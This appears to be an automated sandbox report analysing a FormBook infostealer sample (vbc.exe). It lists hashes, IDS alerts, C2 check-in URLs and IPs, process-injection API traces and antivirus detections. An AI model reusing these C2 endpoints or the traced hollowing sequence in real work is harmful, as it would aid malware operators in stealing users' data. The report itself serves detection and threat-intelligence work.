popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

NSIS UPX Malicious Library PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 3, 2021, 9:35 a.m. Nov. 3, 2021, 10 a.m.
Size 281.2KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 c6def7e067895d7c6f4b0f78270b9e2c
SHA256 d78094f3b6eac87e2d4249671bdc4e044afb31e2e78aac8f2db7186c6d5b6db1
CRC32 E0762C9F
ssdeep 6144:wBlL/cvBjyPIYTRrajr0/mLdVRAuWhgeWSMrlmUfHTu4UD:CevsPHgs/mvzprlfS4Y
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49168 -> 157.90.247.57:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 157.90.247.57:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 157.90.247.57:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 104.21.11.164:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 104.21.11.164:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 104.21.11.164:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 104.21.11.164:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.101:49166 -> 185.151.30.171:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 185.151.30.171:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 185.151.30.171:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 216.194.173.79:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 216.194.173.79:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 216.194.173.79:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 208.91.197.27:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 208.91.197.27:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 208.91.197.27:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 154.23.109.135:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 154.23.109.135:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 154.23.109.135:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 154.31.59.73:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 154.31.59.73:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 154.31.59.73:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 198.54.117.210:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 198.54.117.210:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 198.54.117.210:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 138.201.145.141:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 216.194.173.79:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 138.201.145.141:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 216.194.173.79:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 216.194.173.79:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 138.201.145.141:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.rukygua.xyz/kqna/?FF=vdzyafBylavAbS+d3A7xFaH4XlS6aGXKpuM7CPthmaBAHS5g9tZURwvUOmhgWt080aEhAXR6&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.achyutlifesciences.com/kqna/?FF=asWl3V4IF2Q2DWn67+zvcIQTEiu5x496a9UiR3whzNCG2SwZhTxwEV7pZSN2Dnrub4ZDXyCK&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.fraserstephendop.com/kqna/?FF=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.alifdanismanlik.com/kqna/?FF=mQnobkOfgPtywstNWl93w92LClziyi9exAIAZ2dbJOdepP7Ogt31xGCBzTFokFA1igwL7X4B&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.candypalette.com/kqna/?FF=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.netkopat.com/kqna/?FF=XCeMQl5kuZk/VAPz1x3NMFNaYm0TP5U/J5/9BEX1GnrVHj0GaV8zX9dSOYzSTsdbHQNQtFsF&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.surfsolutions.info/kqna/?FF=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.worldwidecorumuk.com/kqna/?FF=OBIcuqqGork2NsAIYqmQWIB+gSUu4IfRNNykabPIUkFakVgutSjYpuz1sjZ4AXSicZLr38Yo&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.thevishantiverse.art/kqna/?FF=/f/IcA6eDDPBLaOZcHBfDlfAbij2pImhanWAYHxYX02BEqYlDUoXYvshQCmTuxpCPFsxIcfP&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.jcswkj.net/kqna/?FF=aK4LS/24crfyJFniV0tBnDYjbs/R2Z9mGbesLv5x/rI0+ZowC+SQ6lOEpvnTq1Fm4VU9hd0Z&llsp=fTRHzt4hznoXCf
suspicious_features GET method with no useragent header suspicious_request GET http://www.midatlanticbath.com/kqna/?FF=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&AlO=O2MtmfRpT
suspicious_features GET method with no useragent header suspicious_request GET http://www.candypalette.com/kqna/?FF=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&AlO=O2MtmfRpT
request GET http://www.rukygua.xyz/kqna/?FF=vdzyafBylavAbS+d3A7xFaH4XlS6aGXKpuM7CPthmaBAHS5g9tZURwvUOmhgWt080aEhAXR6&llsp=fTRHzt4hznoXCf
request GET http://www.achyutlifesciences.com/kqna/?FF=asWl3V4IF2Q2DWn67+zvcIQTEiu5x496a9UiR3whzNCG2SwZhTxwEV7pZSN2Dnrub4ZDXyCK&llsp=fTRHzt4hznoXCf
request GET http://www.fraserstephendop.com/kqna/?FF=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&llsp=fTRHzt4hznoXCf
request GET http://www.alifdanismanlik.com/kqna/?FF=mQnobkOfgPtywstNWl93w92LClziyi9exAIAZ2dbJOdepP7Ogt31xGCBzTFokFA1igwL7X4B&llsp=fTRHzt4hznoXCf
request GET http://www.candypalette.com/kqna/?FF=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&llsp=fTRHzt4hznoXCf
request GET http://www.netkopat.com/kqna/?FF=XCeMQl5kuZk/VAPz1x3NMFNaYm0TP5U/J5/9BEX1GnrVHj0GaV8zX9dSOYzSTsdbHQNQtFsF&llsp=fTRHzt4hznoXCf
request GET http://www.surfsolutions.info/kqna/?FF=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&llsp=fTRHzt4hznoXCf
request GET http://www.worldwidecorumuk.com/kqna/?FF=OBIcuqqGork2NsAIYqmQWIB+gSUu4IfRNNykabPIUkFakVgutSjYpuz1sjZ4AXSicZLr38Yo&llsp=fTRHzt4hznoXCf
request GET http://www.thevishantiverse.art/kqna/?FF=/f/IcA6eDDPBLaOZcHBfDlfAbij2pImhanWAYHxYX02BEqYlDUoXYvshQCmTuxpCPFsxIcfP&llsp=fTRHzt4hznoXCf
request GET http://www.jcswkj.net/kqna/?FF=aK4LS/24crfyJFniV0tBnDYjbs/R2Z9mGbesLv5x/rI0+ZowC+SQ6lOEpvnTq1Fm4VU9hd0Z&llsp=fTRHzt4hznoXCf
request GET http://www.midatlanticbath.com/kqna/?FF=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&AlO=O2MtmfRpT
request GET http://www.candypalette.com/kqna/?FF=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&AlO=O2MtmfRpT
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x739e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74306000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00970000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nszDF64.tmp\vtlgn.dll
file C:\Users\test22\AppData\Local\Temp\nszDF64.tmp\vtlgn.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000228
1 0 0
Process injection Process 2768 called NtSetContextThread to modify thread in remote process 2880
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2880
1 0 0
Lionic Trojan.Win32.Noon.l!c
Elastic malicious (high confidence)
MicroWorld-eScan Dropped:Trojan.GenericKDZ.79521
FireEye Generic.mg.c6def7e067895d7c
Cylance Unsafe
BitDefender Dropped:Trojan.GenericKDZ.79521
Cybereason malicious.067895
Cyren W32/Injector.AMK.gen!Eldorado
Symantec Packed.Generic.606
ESET-NOD32 a variant of Win32/Injector.EQKW
Paloalto generic.ml
Kaspersky UDS:Trojan-Spy.Win32.Noon.gen
Ad-Aware Dropped:Trojan.GenericKDZ.79521
Sophos Generic ML PUA (PUA)
McAfee-GW-Edition BehavesLike.Win32.Puper.dc
Emsisoft Dropped:Trojan.GenericKDZ.79521 (B)
SentinelOne Static AI - Malicious PE
Microsoft Trojan:Script/Phonzy.C!ml
GData Dropped:Trojan.GenericKDZ.79521
Cynet Malicious (score: 100)
MAX malware (ai score=87)
Malwarebytes Trojan.Injector
APEX Malicious
Ikarus Trojan.NSIS.Agent.S
Fortinet W32/Injector.EOLV!tr
AVG Win32:InjectorX-gen [Trj]
Avast Win32:InjectorX-gen [Trj]
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2884
thread_handle: 0x00000224
process_identifier: 2880
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000228
1 1 0

NtGetContextThread

 thread_handle: 0x00000224
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000228
1 0 0

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2880
1 0 0